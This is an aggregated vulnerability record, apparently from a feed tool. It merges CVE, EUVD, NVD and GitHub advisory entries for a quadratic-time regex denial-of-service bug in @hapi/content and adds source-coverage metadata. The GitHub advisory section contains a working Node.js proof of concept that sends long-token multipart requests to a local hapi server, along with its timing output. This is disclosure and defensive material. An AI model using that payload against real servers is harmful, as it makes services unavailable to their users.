{"id":"GHSA-8494-f6mr-cjpv","revision":null,"records":[{"revision":"a446b18740c440a0b5933e3d3b59db89","observedAt":"2026-11-03T17:57:17.031+00:00","statement":{"source":"cve-program","id":"CVE-2026-119202","aliases":[],"title":"@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service","description":"@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.","state":0,"publishedAt":"2026-10-29T20:24:17.21+00:00","modifiedAt":"2026-11-03T16:38:51.796+00:00","affected":[{"ecosystem":"Vendor product","name":"content","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"hapijs\",\n                    \"product\": \"content\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 6.0.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpv","https://github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fd","https://github.com/hapijs/content/releases/tag/v6.0.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-119202","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-119202","identifiers":["CVE-2026-119202"]},"retained":false,"historicalAffected":[]},{"revision":"7dfd7190637e48a5a65c4f7135ccf986","observedAt":"2026-11-16T06:43:26.438+00:00","statement":{"source":"euvd","id":"EUVD-2026-113373","aliases":["CVE-2026-119202","GHSA-8494-f6mr-cjpv"],"title":"@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …","description":"@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpv","https://github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fd","https://github.com/hapijs/content/releases/tag/v6.0.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-113373","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 29, 2026, 8:24:17 PM","dateUpdated":"Nov 3, 2026, 4:38:51 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-113373","identifiers":["EUVD-2026-113373","CVE-2026-119202","GHSA-8494-f6mr-cjpv"]},"retained":false,"historicalAffected":[]},{"revision":"07b1d84dd80a48f8987a695a81679ff3","observedAt":"2026-11-04T00:59:02.752+00:00","statement":{"source":"nvd","id":"CVE-2026-119202","aliases":[],"title":"@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …","description":"@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.","state":0,"publishedAt":"2026-10-29T21:17:19.217+00:00","modifiedAt":"2026-11-03T17:18:04.61+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fd","https://github.com/hapijs/content/releases/tag/v6.0.3","https://github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-119202","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-1333"],"productCriteria":[],"sourceDates":{"published":"2026-10-29T21:17:19.217","lastModified":"2026-11-03T17:18:04.610"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-119202","identifiers":["CVE-2026-119202"]},"retained":false,"historicalAffected":[]},{"revision":"a858ecdc00ed4a668f21b76b1316b1fb","observedAt":"2026-10-30T23:45:44.41+00:00","statement":{"source":"osv","id":"GHSA-8494-f6mr-cjpv","aliases":["CVE-2026-119202"],"title":"@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service","description":"### Summary\n\n`Content.disposition()` takes quadratic time when a `Content-Disposition` parameter contains a long token without `=`. One unauthenticated multipart request can block the Node.js event loop for several minutes.\n\n### Details\n\n`Content.disposition()` reads the parameters with a global regular expression in `String.prototype.replace()`:\n\n```js\n/([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;'\"\\s]+\\'[\\w-]*\\'[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))/g\n```\n\nThe parameter name part `([^\\=\\*\\s]+)` has no anchor. When a run of name characters has no `=` after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.\n\n`@hapi/pez` calls `Content.disposition()` on the header of every part in a `multipart/form-data` body. In hapi, this occurs on each route with `payload.multipart` enabled, before the route handler and before any validation. The only size limit is the route `payload.maxBytes`, which is 1 MB by default.\n\nThe fix adds an alternative that matches the full run of name characters when no `=` follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.\n\n```js\n/([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;'\"\\s]+\\'[\\w-]*\\'[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))|[^\\=\\*\\s]+/g\n```\n\nEvery release from `3.0.6` (published as `content`) up to and including `@hapi/content` `6.0.2` is affected.\n\nWorkarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low `payload.maxBytes` on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.\n\n### Proof of concept\n\nInstall `@hapi/hapi` with `@hapi/content` `6.0.2`, then run:\n\n```js\nconst Hapi = require('@hapi/hapi');\nconst Net = require('net');\n\nconst attack = (port, n) => new Promise((resolve) => {\n\n    const body = `--x\\r\\nContent-Disposition: form-data; name=\"f\"; ${'a'.repeat(n)}\\r\\n\\r\\nv\\r\\n--x--\\r\\n`;\n    const req = `POST /upload HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nContent-Type: multipart/form-data; boundary=x\\r\\nContent-Length: ${Buffer.byteLength(body)}\\r\\nConnection: close\\r\\n\\r\\n${body}`;\n    const start = process.hrtime.bigint();\n    let res = '';\n    const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));\n    socket.on('data', (chunk) => res += chunk);\n    socket.on('close', () => resolve(`${n} byte token  HTTP ${res.split(' ')[1]}  ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));\n});\n\n(async () => {\n\n    const server = Hapi.server({ host: '127.0.0.1', port: 7001 });\n    server.route({\n        method: 'POST',\n        path: '/upload',\n        options: {\n            auth: false,\n            payload: { multipart: { output: 'data' }, parse: true }\n        },\n        handler: () => ({ ok: true })\n    });\n\n    await server.start();\n    for (const n of [32000, 64000, 128000]) {\n        console.log(await attack(7001, n));\n    }\n\n    await server.stop();\n})();\n```\n\nWith `@hapi/content` `6.0.2`, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:\n\n```text\n32000 byte token  HTTP 200  0.424 s\n64000 byte token  HTTP 200  1.670 s\n128000 byte token  HTTP 200  7.173 s\n```\n\nThe reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default `payload.maxBytes`.\n\nWith `@hapi/content` `6.0.3`:\n\n```text\n32000 byte token  HTTP 200  0.011 s\n64000 byte token  HTTP 200  0.003 s\n128000 byte token  HTTP 200  0.004 s\n1024000 byte token  HTTP 200  0.013 s\n```\n\n### Impact\n\nThis is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to `Content.disposition()`. An unauthenticated attacker sends one upload request of normal size, and the Node.js process stops answering all clients for seconds to minutes. A small number of these requests keeps the service unavailable.","state":0,"publishedAt":"2026-10-30T23:10:13+00:00","modifiedAt":"2026-10-30T23:15:04.4782676+00:00","affected":[{"ecosystem":"npm","name":"@hapi/content","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.0.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"content","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.6"},{"kind":"last_affected","version":"4.0.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpv","https://nvd.nist.gov/vuln/detail/CVE-2026-119202","https://github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fd","https://github.com/hapijs/content","https://github.com/hapijs/content/releases/tag/v6.0.3"],"sourceUrl":"https://github.com/advisories/GHSA-8494-f6mr-cjpv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8494-f6mr-cjpv","identifiers":["GHSA-8494-f6mr-cjpv","CVE-2026-119202"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-16T09:30:47.1166095+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-16T09:30:47.1166095+00:00","lastSuccessAt":"2026-11-16T09:30:47.3012852+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:47.3012856+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-6be044d0e08779dadd136f949a536de4047af96f5d7bceb7e190ecffbb8f18ca-e8c0fd52b22e21457e27693534cefbf2ce40d1a855ef724003125529c54ea7a9","complete":true,"records":425884,"lastAttemptAt":"2026-11-16T09:30:46.3465485+00:00","lastSuccessAt":"2026-11-16T09:30:46.3345916+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:46.3465485+00:00","snapshotPublishedAt":"2026-11-16T08:36:58+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7ba1af0ccbe941be8cc54cf3324e7e70","complete":false,"records":13821,"lastAttemptAt":"2026-11-16T09:33:43.4111342+00:00","lastSuccessAt":"2026-11-16T09:33:43.407+00:00","error":"10 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T09:33:43.407+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13864,"expectedIdentifiers":13874,"failedIdentifiers":10},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-16T09:30:47.1166095+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-16T09:30:47.1166095+00:00","lastSuccessAt":"2026-11-16T09:30:47.3020912+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:47.3020915+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2a27b7b6a1784fa5924b22cef18ec08e","complete":false,"records":13833,"lastAttemptAt":"2026-11-16T09:31:42.1455246+00:00","lastSuccessAt":"2026-11-16T09:31:42.141+00:00","error":"600 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T09:31:42.141+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13274,"expectedIdentifiers":13874,"failedIdentifiers":600},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-16T09:30:46.9806842+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:46.9806842+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-16T09:30:46.4963156+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:46.4963156+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-16T09:30:47.0843037+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:47.0843037+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-263d9c8d63997345727b11314d9b9377eba9fd4146f04497c069a15e332b60cb","complete":true,"records":232482,"lastAttemptAt":"2026-11-16T09:30:46.884062+00:00","lastSuccessAt":"2026-11-16T07:32:30.5701252+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:46.884062+00:00","snapshotPublishedAt":"2026-11-16T06:48:00+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}